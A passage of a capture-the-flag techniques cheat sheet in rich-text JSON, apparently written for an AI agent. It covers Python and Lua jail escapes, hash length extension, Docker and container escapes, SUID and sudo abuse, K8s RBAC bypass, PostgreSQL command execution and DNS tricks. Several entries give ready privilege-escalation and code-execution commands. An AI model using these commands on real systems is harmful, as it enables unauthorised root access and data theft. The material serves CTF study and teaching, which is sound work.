')\nr.sendline(b'answer')\nr.interactive()","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Python Jail Quick Reference","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Oracle pattern:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"L()","type":"text","marks":[{"type":"code_inline"}]},{"text":" = length, ","type":"text"},{"text":"Q(i,x)","type":"text","marks":[{"type":"code_inline"}]},{"text":" = compare, ","type":"text"},{"text":"S(guess)","type":"text","marks":[{"type":"code_inline"}]},{"text":" = submit. Linear or binary search.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Walrus bypass:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"(abcdef := \"new_chars\")","type":"text","marks":[{"type":"code_inline"}]},{"text":" reassigns constraint vars","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Decorator bypass:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"@__import__","type":"text","marks":[{"type":"code_inline"}]},{"text":" + ","type":"text"},{"text":"@func.__class__.__dict__[__name__.__name__].__get__","type":"text","marks":[{"type":"code_inline"}]},{"text":" for no-call, no-quotes escape","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"String join:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"open(''.join(['fl','ag.txt'])).read()","type":"text","marks":[{"type":"code_inline"}]},{"text":" when ","type":"text"},{"text":"+","type":"text","marks":[{"type":"code_inline"}]},{"text":" is blocked","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"pyjails.md","type":"text","marks":[{"type":"link","attrs":{"href":"pyjails.md","title":null}}]},{"text":" for full techniques.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Z3 / Constraint Solving","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"from z3 import *\nflag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]\ns = Solver()\n# Add constraints, check sat, extract model","type":"text"}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"games-and-vms.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms.md","title":null}}]},{"text":" for YARA rules, type systems as constraints, boolean logic gate network SAT solving.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Hash Identification","type":"text"}]},{"type":"paragraph","content":[{"text":"MD5: ","type":"text"},{"text":"0x67452301","type":"text","marks":[{"type":"code_inline"}]},{"text":" | SHA-256: ","type":"text"},{"text":"0x6a09e667","type":"text","marks":[{"type":"code_inline"}]},{"text":" | MurmurHash64A: ","type":"text"},{"text":"0xC6A4A7935BD1E995","type":"text","marks":[{"type":"code_inline"}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"SHA-256 Length Extension Attack","type":"text"}]},{"type":"paragraph","content":[{"text":"MAC = ","type":"text"},{"text":"SHA-256(SECRET || msg)","type":"text","marks":[{"type":"code_inline"}]},{"text":" with known msg/hash -> forge valid MAC via ","type":"text"},{"text":"hlextend","type":"text","marks":[{"type":"code_inline"}]},{"text":". Vulnerable: SHA-256, MD5, SHA-1. NOT: HMAC, SHA-3.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"import hlextend\nsha = hlextend.new('sha256')\nnew_data = sha.extend(b'extension', b'original_message', len_secret, known_hash_hex)","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Technique Quick References","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"PyInstaller:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"pyinstxtractor.py packed.exe","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"games-and-vms.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms.md","title":null}}]},{"text":" for opcode remapping.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Marshal:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"marshal.load(f)","type":"text","marks":[{"type":"code_inline"}]},{"text":" then ","type":"text"},{"text":"dis.dis(code)","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"games-and-vms.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Python env RCE:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"PYTHONWARNINGS=ignore::antigravity.Foo::0","type":"text","marks":[{"type":"code_inline"}]},{"text":" + ","type":"text"},{"text":"BROWSER=\"cmd\"","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"games-and-vms.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"WASM patching:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"wasm2wat","type":"text","marks":[{"type":"code_inline"}]},{"text":" -> flip minimax -> ","type":"text"},{"text":"wat2wasm","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"games-and-vms.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Float precision:","type":"text","marks":[{"type":"strong"}]},{"text":" Large multipliers amplify FP errors into exploitable fractions. See ","type":"text"},{"text":"games-and-vms.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"K8s RBAC bypass:","type":"text","marks":[{"type":"strong"}]},{"text":" SA token -> impersonate -> hostPath mount -> read secrets. See ","type":"text"},{"text":"games-and-vms.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Cookie checkpoint:","type":"text","marks":[{"type":"strong"}]},{"text":" Save session cookies before guesses, restore on failure to brute-force without reset. See ","type":"text"},{"text":"games-and-vms-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-2.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Flask cookie game state:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"flask-unsign -d -c '\u003ccookie>'","type":"text","marks":[{"type":"code_inline"}]},{"text":" decodes unsigned Flask sessions, leaking game answers. See ","type":"text"},{"text":"games-and-vms-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-2.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"WebSocket teleport:","type":"text","marks":[{"type":"strong"}]},{"text":" Modify ","type":"text"},{"text":"player.x","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"player.y","type":"text","marks":[{"type":"code_inline"}]},{"text":" in console, call verification function. See ","type":"text"},{"text":"games-and-vms-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-2.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Time-only validation:","type":"text","marks":[{"type":"strong"}]},{"text":" Start session, ","type":"text"},{"text":"time.sleep(required_seconds)","type":"text","marks":[{"type":"code_inline"}]},{"text":", submit win. See ","type":"text"},{"text":"games-and-vms-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-2.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Quine context detection:","type":"text","marks":[{"type":"strong"}]},{"text":" Dual-purpose quine that prints itself (passes validation) and runs payload only in server process via globals gate. See ","type":"text"},{"text":"pyjails.md","type":"text","marks":[{"type":"link","attrs":{"href":"pyjails.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Repunit decomposition:","type":"text","marks":[{"type":"strong"}]},{"text":" Decompose target integer into sum of repunits (1, 11, 111, ...) using only 2 characters (","type":"text"},{"text":"1","type":"text","marks":[{"type":"code_inline"}]},{"text":" and ","type":"text"},{"text":"+","type":"text","marks":[{"type":"code_inline"}]},{"text":") for restricted eval. See ","type":"text"},{"text":"pyjails.md","type":"text","marks":[{"type":"link","attrs":{"href":"pyjails.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"De Bruijn sequence:","type":"text","marks":[{"type":"strong"}]},{"text":" B(k, n) contains all k^n possible n-length strings as substrings; linearize by appending first n-1 chars. See ","type":"text"},{"text":"games-and-vms-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-2.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Brainfuck instrumentation:","type":"text","marks":[{"type":"strong"}]},{"text":" Instrument BF interpreter to track tape cells, brute-force flag character-by-character via validation cell. See ","type":"text"},{"text":"games-and-vms-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-2.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"WASM memory manipulation:","type":"text","marks":[{"type":"strong"}]},{"text":" Patch WASM linear memory at runtime to set game state variables directly, bypassing game logic. See ","type":"text"},{"text":"games-and-vms-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-2.md","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Lua sandbox escape:","type":"text","marks":[{"type":"strong"}]},{"text":" Bypass ","type":"text"},{"text":"load()","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"os.execute()","type":"text","marks":[{"type":"code_inline"}]},{"text":" filters via ","type":"text"},{"text":"os[\"execute\"]","type":"text","marks":[{"type":"code_inline"}]},{"text":" table indexing or ","type":"text"},{"text":"loadstring","type":"text","marks":[{"type":"code_inline"}]},{"text":" alias. See ","type":"text"},{"text":"games-and-vms.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms.md#lua-sandbox-escape-via-function-name-injection-csaw-ctf-2016","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"C code jail via emoji + gadget embedding:","type":"text","marks":[{"type":"strong"}]},{"text":" When only emoji and punctuation are allowed in C, use ","type":"text"},{"text":"(😃==😃)","type":"text","marks":[{"type":"code_inline"}]},{"text":" as constant 1, build integers, embed gadgets in ","type":"text"},{"text":"add eax, imm32","type":"text","marks":[{"type":"code_inline"}]},{"text":" constants, jump to offset+1 for shellcode primitives. See ","type":"text"},{"text":"games-and-vms-3.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-3.md#c-code-jail-escape-via-emoji-identifiers-and-gadget-embedding-midnight-flag-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Emulator ROM-switching:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"/load","type":"text","marks":[{"type":"code_inline"}]},{"text":" replaces ROM but preserves CPU state (registers, RAM, PC). Switch ROMs at specific PCs to combine INIT from one ROM with display instructions from another → read protected memory. See ","type":"text"},{"text":"games-and-vms-3.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-3.md#emulator-rom-switching-state-preservation-bsidessf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"BuildKit daemon exploitation:","type":"text","marks":[{"type":"strong"}]},{"text":" Exposed BuildKit gRPC allows nested ","type":"text"},{"text":"buildctl build","type":"text","marks":[{"type":"code_inline"}]},{"text":" with ","type":"text"},{"text":"--mount=type=secret","type":"text","marks":[{"type":"code_inline"}]},{"text":" to read build secrets. Two-stage Dockerfile: install buildctl → submit nested build mounting flag secret. See ","type":"text"},{"text":"games-and-vms-3.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-3.md#buildkit-daemon-exploitation-for-build-secrets-bsidessf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Docker container escape:","type":"text","marks":[{"type":"strong"}]},{"text":" Privileged breakout via host device mount, docker.sock socket escape, CAP_SYS_ADMIN cgroup release_agent, container info leakage via /proc and overlayfs. See ","type":"text"},{"text":"games-and-vms-3.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-3.md#docker-container-escape-techniques","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Taint analysis bypass via type coercion:","type":"text","marks":[{"type":"strong"}]},{"text":" In custom ML-like languages with secrecy/taint systems, if-expression secrecy depends on return type not condition — coerce side-effecting functions to private type to leak private data through public mutable refs. See ","type":"text"},{"text":"games-and-vms-3.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-3.md#taint-analysis-bypass-in-custom-language-via-type-coercion-plaidctf-2018","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Shredded document pixel-edge reassembly:","type":"text","marks":[{"type":"strong"}]},{"text":" Encode each strip's left/right edge as binary bitmask (dark=1), use XOR + popcount Hamming distance to greedily place strips by minimum edge distance for sub-second reassembly. See ","type":"text"},{"text":"games-and-vms-3.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-3.md#shredded-document-pixel-edge-reassembly-under-time-pressure-nuit-du-hack-ctf-2018","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"f-string config injection via stored eval:","type":"text","marks":[{"type":"strong"}]},{"text":" Store payload as config value, create key named ","type":"text"},{"text":"eval(stored_key)","type":"text","marks":[{"type":"code_inline"}]},{"text":" — f-string rendering evaluates the key name expression, triggering RCE. See ","type":"text"},{"text":"pyjails.md","type":"text","marks":[{"type":"link","attrs":{"href":"pyjails.md#python-f-string-config-injection-via-stored-eval-inshack-2018","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Hexadecimal Sudoku + QR assembly:","type":"text","marks":[{"type":"strong"}]},{"text":" 4 QR codes encode 16x16 hex Sudoku quadrants; solve grid, read diagonal as hex pairs → ASCII flag. See ","type":"text"},{"text":"encodings-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"encodings-advanced.md#hexadecimal-sudoku--qr-assembly-bsidessf-2026","title":null}}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Z3 boolean gate network SAT solving:","type":"text","marks":[{"type":"strong"}]},{"text":" Product key validation as 250 boolean gates (AND/OR/XOR/NOT) over 125 input bits. Model each gate as Z3 constraint, require all outputs True, solve in milliseconds. See ","type":"text"},{"text":"games-and-vms.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms.md#z3-sat-solving-for-boolean-logic-gate-networks-bsidessf-2026","title":null}}]},{"text":".","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"3D Printer Video Nozzle Tracking (LACTF 2026)","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern (flag-irl):","type":"text","marks":[{"type":"strong"}]},{"text":" Video of 3D printer fabricating nameplate. Flag is the printed text.","type":"text"}]},{"type":"paragraph","content":[{"text":"Technique:","type":"text","marks":[{"type":"strong"}]},{"text":" Track nozzle X/Y positions from video frames, filter for print moves (top/text layer only), plot 2D histogram to reveal letter shapes:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"# 1. Identify text layer frames (e.g., frames 26100-28350)\n# 2. Track print head X position (physical X-axis)\n# 3. Track bed X position (physical Y-axis from camera angle)\n# 4. Filter for moves with extrusion (head moving while printing)\n# 5. Plot as 2D scatter/histogram -> letters appear","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Discord API Enumeration (0xFun 2026)","type":"text"}]},{"type":"paragraph","content":[{"text":"Flags hidden in Discord metadata (roles, animated emoji, embeds). Invoke ","type":"text"},{"text":"/ctf-osint","type":"text","marks":[{"type":"code_inline"}]},{"text":" for Discord API enumeration technique and code (see social-media.md in ctf-osint).","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"SUID Binary Exploitation (0xFun 2026)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Find SUID binaries\nfind / -perm -4000 2>/dev/null\n\n# Cross-reference with GTFObins\n# xxd with SUID: xxd flag.txt | xxd -r\n# vim with SUID: vim -c ':!cat /flag.txt'","type":"text"}]},{"type":"paragraph","content":[{"text":"Reference:","type":"text","marks":[{"type":"strong"}]},{"text":" https://gtfobins.github.io/","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"Linux Privilege Escalation Quick Checks","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# GECOS field passwords\ncat /etc/passwd # Check 5th colon-separated field\n\n# ACL permissions\ngetfacl /path/to/restricted/file\n\n# Sudo permissions\nsudo -l\n\n# Docker group membership (instant root)\nid | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Docker Group Privilege Escalation (H7CTF 2025)","type":"text"}]},{"type":"paragraph","content":[{"text":"User in the ","type":"text"},{"text":"docker","type":"text","marks":[{"type":"code_inline"}]},{"text":" group can mount the host filesystem into a container and chroot into it for root access.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Check group membership\nid # Look for \"docker\" in groups\n\n# Mount host root filesystem and chroot\ndocker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh\n\n# Now running as root on the host filesystem\ncat /root/flag.txt","type":"text"}]},{"type":"paragraph","content":[{"text":"Key insight:","type":"text","marks":[{"type":"strong"}]},{"text":" Docker group membership is equivalent to root access. The ","type":"text"},{"text":"docker","type":"text","marks":[{"type":"code_inline"}]},{"text":" CLI socket (","type":"text"},{"text":"/var/run/docker.sock","type":"text","marks":[{"type":"code_inline"}]},{"text":") allows creating privileged containers that mount the entire host filesystem.","type":"text"}]},{"type":"paragraph","content":[{"text":"Reference:","type":"text","marks":[{"type":"strong"}]},{"text":" https://gtfobins.github.io/gtfobins/docker/","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Sudo Wildcard Parameter Injection (Dump HTB)","type":"text"}]},{"type":"paragraph","content":[{"text":"Sudo's ","type":"text"},{"text":"fnmatch()","type":"text","marks":[{"type":"code_inline"}]},{"text":" matches ","type":"text"},{"text":"*","type":"text","marks":[{"type":"code_inline"}]},{"text":" across argument boundaries. Inject extra flags (","type":"text"},{"text":"-Z root","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"-r","type":"text","marks":[{"type":"code_inline"}]},{"text":", second ","type":"text"},{"text":"-w","type":"text","marks":[{"type":"code_inline"}]},{"text":") into locked-down commands. Craft pcap with embedded valid sudoers entries — sudo's parser recovers from binary junk, unlike cron's strict parser. See ","type":"text"},{"text":"linux-privesc.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-privesc.md#sudo-wildcard-parameter-injection-via-fnmatch-dump-htb","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Monit Process Command-Line Injection (Zero HTB)","type":"text"}]},{"type":"paragraph","content":[{"text":"Root monit script uses ","type":"text"},{"text":"pgrep -lfa","type":"text","marks":[{"type":"code_inline"}]},{"text":" to extract process command lines, then executes a modified version. Create fake process via ","type":"text"},{"text":"perl -e '$0 = \"...\"'","type":"text","marks":[{"type":"code_inline"}]},{"text":" with injected flags. Apache ","type":"text"},{"text":"-d","type":"text","marks":[{"type":"code_inline"}]},{"text":" last-wins overrides ServerRoot; ","type":"text"},{"text":"-E","type":"text","marks":[{"type":"code_inline"}]},{"text":" captures error output. ","type":"text"},{"text":"Include /root/flag","type":"text","marks":[{"type":"code_inline"}]},{"text":" causes a parse error that reveals the file content. See ","type":"text"},{"text":"linux-privesc.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-privesc.md#monit-confcheck-process-command-line-injection-zero-htb","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"PostgreSQL RCE and File Read (Slonik HTB)","type":"text"}]},{"type":"paragraph","content":[{"text":"COPY (SELECT '') TO PROGRAM 'cmd'","type":"text","marks":[{"type":"code_inline"}]},{"text":" executes OS commands as postgres. ","type":"text"},{"text":"pg_read_file('/path')","type":"text","marks":[{"type":"code_inline"}]},{"text":" reads files. Extract credentials from ","type":"text"},{"text":"pg_basebackup","type":"text","marks":[{"type":"code_inline"}]},{"text":" archives (","type":"text"},{"text":"global/1260","type":"text","marks":[{"type":"code_inline"}]},{"text":" = ","type":"text"},{"text":"pg_authid","type":"text","marks":[{"type":"code_inline"}]},{"text":"). SSH tunnel to Unix sockets: ","type":"text"},{"text":"ssh -fNL 25432:/var/run/postgresql/.s.PGSQL.5432","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"linux-privesc.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-privesc.md#postgresql-copy-to-program-rce-slonik-htb","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Backup Cronjob SUID Abuse (Slonik HTB)","type":"text"}]},{"type":"paragraph","content":[{"text":"Root cronjob copying directories preserves SUID bit but changes ownership to root. Place SUID bash in source directory → backup copies it as root-owned SUID. Execute with ","type":"text"},{"text":"bash -p","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"linux-privesc.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-privesc.md#backup-cronjob-suid-abuse-slonik-htb","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"PaperCut Print Deploy Privesc (Bamboo HTB)","type":"text"}]},{"type":"paragraph","content":[{"text":"Root process runs scripts from user-owned directory. Modify ","type":"text"},{"text":"server-command","type":"text","marks":[{"type":"code_inline"}]},{"text":", trigger via Mobility Print API refresh. See ","type":"text"},{"text":"linux-privesc.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-privesc.md#papercut-print-deploy-privilege-escalation-bamboo-htb","title":null}}]},{"text":".","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"CTFd Platform Navigation (No Browser)","type":"text"}]},{"type":"paragraph","content":[{"text":"Detect CTFd (","type":"text"},{"text":"curl -s \"$CTF_URL/api/v1/\" | head -5","type":"text","marks":[{"type":"code_inline"}]},{"text":") and interact via API. ","type":"text"},{"text":"Ask the user for their API token","type":"text","marks":[{"type":"strong"}]},{"text":" (CTFd Settings > Access Tokens) — it is not provided by default. Then use ","type":"text"},{"text":"Authorization: Token $CTF_TOKEN","type":"text","marks":[{"type":"code_inline"}]},{"text":" header for all requests.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"export CTF_URL=\"https://ctf.example.com\" CTF_TOKEN=\"ctfd_your_token_here\"\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges\" | jq -r '.data[] | \"\\(.id)\\t\\(.value)pts\\t\\(.category)\\t\\(.name)\"'\ncurl -s -X POST -H \"Authorization: Token $CTF_TOKEN\" -H \"Content-Type: application/json\" \"$CTF_URL/api/v1/challenges/attempt\" -d \"{\\\"challenge_id\\\": $CID, \\\"submission\\\": \\\"flag{...}\\\"}\"","type":"text"}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"ctfd-navigation.md","type":"text","marks":[{"type":"link","attrs":{"href":"ctfd-navigation.md","title":null}}]},{"text":" for full workflow, Python client class, session login, hints, notifications, file download, and troubleshooting.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"Useful One-Liners","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"grep -rn \"flag{\" .\nstrings file | grep -i flag\npython3 -c \"print(int('deadbeef', 16))\"","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Keyboard Shift Cipher","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern (Frenzy):","type":"text","marks":[{"type":"strong"}]},{"text":" Characters shifted left/right on QWERTY keyboard layout.","type":"text"}]},{"type":"paragraph","content":[{"text":"Identification:","type":"text","marks":[{"type":"strong"}]},{"text":" dCode Cipher Identifier suggests \"Keyboard Shift Cipher\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Decoding:","type":"text","marks":[{"type":"strong"}]},{"text":" Use ","type":"text"},{"text":"dCode Keyboard Shift Cipher","type":"text","marks":[{"type":"link","attrs":{"href":"https://www.dcode.fr/keyboard-shift-cipher","title":null}}]},{"text":" with automatic mode.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Pigpen / Masonic Cipher","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern (Working For Peanuts):","type":"text","marks":[{"type":"strong"}]},{"text":" Geometric symbols representing letters based on grid positions.","type":"text"}]},{"type":"paragraph","content":[{"text":"Identification:","type":"text","marks":[{"type":"strong"}]},{"text":" Angular/geometric symbols, challenge references \"Peanuts\" comic (Charlie Brown), \"dusty looking crypto\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Decoding:","type":"text","marks":[{"type":"strong"}]},{"text":" Map symbols to Pigpen grid positions, or use online decoder.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"ASCII in Numeric Data Columns","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern (Cooked Books):","type":"text","marks":[{"type":"strong"}]},{"text":" CSV/spreadsheet numeric values (48-126) are ASCII character codes.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"import csv\nwith open('data.csv') as f:\n reader = csv.DictReader(f)\n flag = ''.join(chr(int(row['Times Borrowed'])) for row in reader)\nprint(flag)","type":"text"}]},{"type":"paragraph","content":[{"text":"CyberChef:","type":"text","marks":[{"type":"strong"}]},{"text":" \"From Decimal\" recipe with line feed delimiter.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Backdoor Detection in Source Code","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern (Rear Hatch):","type":"text","marks":[{"type":"strong"}]},{"text":" Hidden command prefix triggers ","type":"text"},{"text":"system()","type":"text","marks":[{"type":"code_inline"}]},{"text":" call.","type":"text"}]},{"type":"paragraph","content":[{"text":"Common patterns:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"strncmp(input, \"exec:\", 5)","type":"text","marks":[{"type":"code_inline"}]},{"text":" -> runs ","type":"text"},{"text":"system(input + 5)","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Hex-encoded comparison strings: ","type":"text"},{"text":"\\x65\\x78\\x65\\x63\\x3a","type":"text","marks":[{"type":"code_inline"}]},{"text":" = \"exec:\"","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Hidden conditions in maintenance/admin functions","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"DNS Exploitation Techniques","type":"text"}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"dns.md","type":"text","marks":[{"type":"link","attrs":{"href":"dns.md","title":null}}]},{"text":" for full details (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling).","type":"text"}]},{"type":"paragraph","content":[{"text":"Quick reference:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ECS spoofing","type":"text","marks":[{"type":"strong"}]},{"text":": ","type":"text"},{"text":"dig @server flag.example.com TXT +subnet=10.13.37.1/24","type":"text","marks":[{"type":"code_inline"}]},{"text":" - try leet-speak IPs (1337)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"NSEC walking","type":"text","marks":[{"type":"strong"}]},{"text":": Follow NSEC chain to enumerate DNSSEC zones","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"IXFR","type":"text","marks":[{"type":"strong"}]},{"text":": ","type":"text"},{"text":"dig @server domain IXFR=0","type":"text","marks":[{"type":"code_inline"}]},{"text":" when AXFR is blocked","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"DNS rebinding","type":"text","marks":[{"type":"strong"}]},{"text":": Low-TTL alternating resolution to bypass same-origin","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"DNS tunneling","type":"text","marks":[{"type":"strong"}]},{"text":": Data exfiltrated via subdomain queries or TXT responses","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Unicode Steganography","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Variation Selectors Supplement 